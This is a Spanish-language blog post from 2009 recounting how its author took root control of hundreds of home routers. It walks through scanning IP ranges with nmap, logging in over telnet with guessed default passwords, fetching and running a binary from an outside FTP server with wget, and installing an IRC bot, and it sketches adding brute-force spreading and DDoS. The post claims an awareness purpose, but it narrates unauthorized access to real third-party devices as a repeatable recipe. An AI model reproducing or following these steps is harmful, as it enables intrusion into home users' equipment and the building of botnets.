jueves, 26 de noviembre de 2009

Hacking Routers (El agujero de seguridad del usuario domestico)

En este artículo voy a hacer una descripción de cómo llegué a tomar el control absoluto de varios cientos de pequeños equipos conectados a la red de redes, describiré el porqué es una amenaza mundial y vaticinaré que el futuro del hacking irá por este camino. Pero lo más inquietante será que cualquiera con un poco de suerte puede repetir lo mismo que yo hice.

Prólogo


Bien, hace algunos años, aquellos que empezábamos con internet contratábamos nuestra linea de 56k con un ruidoso y chirriante modem. Poco después, vino el ADSL, trayendo vertiginosas velocidades de 1mb. Pero en todo esto había una gran amenenaza que las compañías telefónicas no vieron: cualquiera en su casa podía montar un pequeño servidor. Es cierto que las velocidades de subida no podían dar pie a grandes servicios, pero sí eran lo suficientemente grandes como para abrir un puerto a la escucha y poner una shell remota. En cualquier momento, un atacante podría escanear un rango de IPs y cuando detectara cierto puerto abierto era sinónimo de que estaba infectado con el famoso troyano, tomando el control absoluto del ordenador. Era la época del famoso SubSeven.

De cómo SubSeven cayó en el olvido


A medida que pasaba el tiempo, al abaratarse los equipos informáticos, los usuarios comenzaron a adquirir más ordenadores. Pero el problema era que con los antiguos modem tan solo se podia conectar uno a internet, y en caso de querer encufar más máquinas a la red, hacía falta un engorroso proceso. Fue entonces cuando la gente comenzó a comprar routers, hubs ethernet que permitían comunicar cuatro o más equipos con el mundo exterior. Esta práctica se popularizó, hasta que las propias compañías proveedoras de servicios proporcionaban equipos híbridos módem-router, que son los que conocemos ahora.

Al utilizar un router, los paquetes que llegan de fuera deben decidir el camino a tomar, porque si hay cuatro ordenadores en la red interna peude ser un auténtico lío. Para eso necesita tablas de enrutamiento. Y si uno quiere conectarse a un ordenador, antes tiene que dar cuentas al router, que debe de estar correctamente configurado para que cuando le decimos "router, conéctame con la máquina x en el puerto 80", este nos lleve efectivamente a la máquina x en el puerto 80. Por defecto, todos los puertos en los routers están desenrutados, por lo que, a menos que se abran manualmente, este aparatito cuadrado hará oídos sordos de cualquier requerimiento de conexión. El SubSeven había muerto.

Máquinas de pocas palabras


Los troyanos de conexión directa ya no eran útiles, pero nunca se cierra una puerta sin que se abra una ventana. Para configurar el router, ciertamente, hacía falta una interfaz. Para ello, estos quedaban a la escucha con un servidor HTTP detrás, y cuando un usuario lo requiriera, ya fuese desde la red local o desde el exterior, el aparato te permitía configurarlo correctamente, siempre y cuando supieras el santo y seña. Y he aquí el quid de la cuestión, la contraseña en casi todos los casos era la misma que traía de fábrica. El 90% de los usuarios no la habrían cambiado, tal vez ni siquiera sabría qué coño es eso. Probando cosas como "admin", "root", "password", "1234"... cualquier atacando sin nada mejor que hacer podía tomar control absoluto de tus tablas de erutamiento.

Pero claro, siempre habían usuarios avispados, que la cambiaban con presteza. El problema ahora era que los routers domésticos antiguos no te permitían, en el mejor de los casos, exceder los seis carácteres. Así que un atancante un poco más mañoso, con una sencilla herramienta que probase todas las combinaciones, si se le metía en los cojones acababa accediendo a las enrutadas tripas del engendro.

Sofisticación VS Seguridad


Internet creció, las páginas se hicieron más pesadas, el streamming de audio y video provocaban auténticos trombos de datos, y es por eso que el bando de ancha creció, y con el la velocidad de acceso del usuario medio. Para manejar tremenda cantidad de datos, los routers tenían que ser más sofisticados, y sus pequeños ordenadores emebebidos más potentes. Los software de configuración cambiaron, y ahora tambien ofrecían configuración por FTP, telnet, SSH, HTTPS y el antiguo HTTP. Todo muy bonito y configurable, pero esto entraña otro riesgo: a más servicios, más puertos abiertos. Y a más puertos, hace falta un sistema más grande y estable. Y a más grande sea el sistema, más código tiene. Y a más código tiene, más bugs posee. Si a esto sumamos que el usuario sigue sin cambiar la contraseña en sus bonitos routers, tenemos el sueño de cualquier piratilla informático.

Idea general del ataque

Desde hace unos pocos años, si un router tiene abiertos los puertos 22 o 23 (SSH y telnet), significará que no solo tiene un pequeño interfaz de configuración, si no un pequeño linux embebido. Muchas marcas de routers los tienen. Si nos conseguimos colar como usuario root el sistema se verá seriamente comprometido. Y si una vez estamos dentro como root, subimos e instalamos un programita que a su vez escanee la red en busca de más equipos vulnerables, tendríamos un gusano peligrosísimo. Y no solo eso: ¿porqué no montar un servidor HTTP, FTP o incluso IRC? Las máquinas tienen un pequeño disco duro, y pocos recursos, pero si yo quiero distribuir material ilegal podría se runa buena opción. Además, casi todos los routers cuentan con un servicio de actualización de DNS dinámico, como DynDNS o No-IP. Con una dirección fija, ya tendríamos un server en toda regla.

El sueño de todo hacker es obtener root en un servidor. Esto te da control absoluto. Pero si además eres indetectable por parte del usuario (si este deja la contraseña que trae el router por defeto, ¿va a explorar quien puede estar en su sistema?) y por los firewalls y antivirus, estamos ante una utopía.

Comenzando el asalto


En este ejemplo, que es totalmente real, no daré detalles como IPs, o rangos de IP's donde se pueden encontrar equipos vulnerables, ni de compañías que instalan este tipo de routers o de países. Eso sería una irresponsabilidad por mi parte, y se aleja del objetivo didáctico de este artículo. Tan solo diré que es bastante común encontrar un router vulnerable.

Bien, lo primero es hacerse con las herramientas necesarias. Nuestro objetivo es arbitrario, o sea, que nos da igual quien sea. Por ello vamos a adquirir la último versión del nmap, un gran programa, de su correspondiente web: http://www.insecure.org. Una vez lo tenemos, tanto en Windows como en Linux, vamos a escanear el rango de IPs donde puede haber una vulnerabilidad:

Código:

nmap -v -v -T4 -F 0.1.2.*


Esto escanería los 255 hosts de esa IP. Nótese que esta es poco menos que ficticia.

Tras un ratito escaneando, el nmap nos debería escupir algunos resultados. Yo, para este ejemplo, me he fijado en este:

Código:

Host dslxxx.xxx.xxx.xxx.xx (xxx.xxx.xxx.130) is up (0.14s latency).
Scanned at 2009-xx-xx xx:x4:35 Romance Standard Time for 91s
Interesting ports on dslxxx.xxx.xxx.xxx.xx (xxx.xxx.xxx.130):
Not shown: 91 closed ports
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
23/tcp open telnet
25/tcp filtered smtp
80/tcp open http
135/tcp filtered msrpc
139/tcp filtered netbios-ssn
445/tcp filtered microsoft-ds
1723/tcp filtered pptp


Seguramente se trata de un bonito router con una bonita cantidad de puertos abiertos: FTP, SSH, telnet y HTTP. Sin perder más tiempo, abro una línea de comandos (estoy en Windows) y le hago un rápido telnet:

Código:

C:\>telnet xxx.xxx.xxx.130
Connecting To xxx.xxx.xxx.130...

BusyBox on localhost login:


¡Bingo! Tenemos un login por telnet. De igual forma podría ser por SSH, pero bueno, telnet viene a ser los mismo. Veo una palabra clave: "BusyBox". Un rápido googleo me informa de que es un minilinux para sistemas embebidos. Me pide el login, y como yo quiero ser "root", pongo root. Entonces me pide la contraseña. Pruebo varias, como root, admin, 1234, en blanco, password, pass... tras algunos intentos, lo consigo (no diré la verdadera):

Código:


BusyBox on localhost login: root
Password:


BusyBox v0.61.pre (2006.09.25-12:57+0000) Built-in shell (ash)
Enter 'help' for a list of built-in commands.

#


La ostia. A la primera. Estoy como root en un sistema remoto que no actualizan desde el 25 de septiembre de 2006. Esto debe de ser el paraíso. Hago un par de comandos para tantear donde estoy metido:

Código:

# whoami
root
# ls
bin etc proc usr var.tar
dev lib sbin var
# help

Built-in commands:
-------------------
. : bg break builtin cd chdir continue eval exec exit export
false fc fg hash help jobs kill local pwd read readonly return
set setvar shift times trap true type ulimit umask unset wait

# busybox
BusyBox v0.61.pre (2006.09.25-12:57+0000) multi-call binary

Usage: busybox [function] [arguments]...
or: [function] [arguments]...

BusyBox is a multi-call binary that combines many common Unix
utilities into a single executable. Most people will create a
link to busybox for each function they wish to use, and BusyBox
will act like whatever it was invoked as.

Currently defined functions:
[, ash, busybox, cat, chgrp, chmod, chown, cp, cut, dd, df, echo,
false, free, grep, hostname, id, ifconfig, init, insmod, kill,
ln, login, ls, lsmod, mkdir, modprobe, mount, mv, passwd, ping,
ps, pwd, reboot, rm, rmmod, route, sh, sleep, sync, tar, test,
tftp, touch, true, tty, umount, wget, whoami, yes

#


Como pueden ver, esoy en el directorio / de un sistema Linux como usuario "root". Vamos a echar un vistazo alrededor:

Código:

# cd proc
# ls
1 4 avalanche iomem misc sysvipc
102 41 bus ioports modules ticfg
111 5 cmdline kcore mounts tty
1586 6 cpuinfo kmsg mtd tzval
1587 676 devices ksyms net uptime
1591 7 dma led_mod partitions version
2 73 driver loadavg self wlan
3 75 execdomains locks slabinfo
319 76 filesystems meminfo stat
361 98 fs mii_read swaps
377 99 interrupts mii_write sys
# cat version
Linux version 2.4.17_mvl21-malta-mips_fp_le (beri@debian) (gcc version 2.95.3 20
010315 (release/MontaVista)) #1 Mon Sep 25 15:52:29 EEST 2006
# cat cpuinfo
processor : 0
cpu model : MIPS 4KEc V4.8
BogoMIPS : 211.35
wait instruction : no
microsecond timers : yes
extra interrupt vector : yes
hardware watchpoint : yes
VCED exceptions : not available
VCEI exceptions : not available
#


Con esto obtenemos un poco más de información. La versión del kernel es bastante antigua (2.4.17), compilada para un procesador MIPS de 4K. ¿Quien necesita más? ¿No es esto suficiente para hacer maldades? Y lo mejor esque ni siquiera necesito ejecutar un exploit que me permita ser root. Ya lo soy.

Bueno, llegados a este punto, no se puede perder el tiempo. Veo que dispongo del comando wget:

Código:

# wget
BusyBox v0.61.pre (2006.09.25-12:57+0000) multi-call binary

Usage: wget [-c|--continue] [-q|--quiet] [-O|--output-document file]
[--header 'header: value'] [-Y|--proxy on/off] [-P DIR] url

#


Por lo que podré obtener cositas de internet.

Me voy a disponer a compilar un simple "Hola Mundo". El código sería el siguiente:

Código:

#include

int main()
{
printf("Hello world.");
}


Me voy a mi otro ordenador, donde tengo Linux, e intento compilarlo. Rápidamente caigo en la cuenta de que necesito un compilador para MIPS. Después de buscar un poco en google descargo este, ya compilado: http://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mipsel.tar.bz2. Habrán muchos otros, pero este fue el primero que encontré. Puede que también les sirva. No entraré en detalles, los compilé y lo subí a un servidor FTP gratuito. De nuevo en mi router rooteado, hago:

Código:

# cd var/tmp
# wget http://xxx.ftpserver.com/hello
Set PR mark for socket 0x6 = 239
hello 100% |*****************************| 5551 00:00 ETA
# chmod +x hello
# ./hello
Hello world.#


Fue en este momento cuando sentí un cosquilleo en la boca del estómago. Cogí de internet un ejemplo de bot IRC en C, lo ajusté, corregí un poco el código, lo compilé, lo subí, lo ejecuté y vi con admiración como se conectaba a mi servidor IRC desde un lugar remoto del mundo, completamente a mis órdenes. Podría haberle puesto un comando para que buscase mas equipos vulnerables, con un mini logeador por telnet a fuerza bruta y otro comando para inicar un básico DDoS. No hice nada maligno, pero de querer haberlo hecho, ¿quién iba a impedírmelo? Y es más, de haberlo hecho, ¿quién me iba a descubrir?

Conclusiones


El ejemplo que he descrito se trata de un serio problema de seguridad mundial. Cualquier atacante malintencionado podría instalar bots IRC para hacer ataques DDoS, proxies completamente anónimos, servidores de cualquier tipo, etc. Es cierto que los routers son muy poco potentes, pero el poder dispones de 1000, 2000 o 10000 pequeñas máquinas indetectables, por muy poco potentes que sean, y por muy poco ancho de banda del que dispongan, son una seria amenaza.

Con este artículo no estoy incitando al crimen, más bien todo lo contrario. Intento fomentar el uso de claves seguras, y la responsabilidad del ISP de mantener a sus clientes a su propia red fuera de peligro.

Espero que el ejemplo quede claro. Como dije antes, con el tiempo, los routers serán cada vez más complejos y esto no ha hecho más que empezar. El futuro del hacking, a mi modo de ver, irá por este camino. Esperemos que le encuentren solución rápidamente.

Fuente original: http://www.descifra.me

No hay comentarios: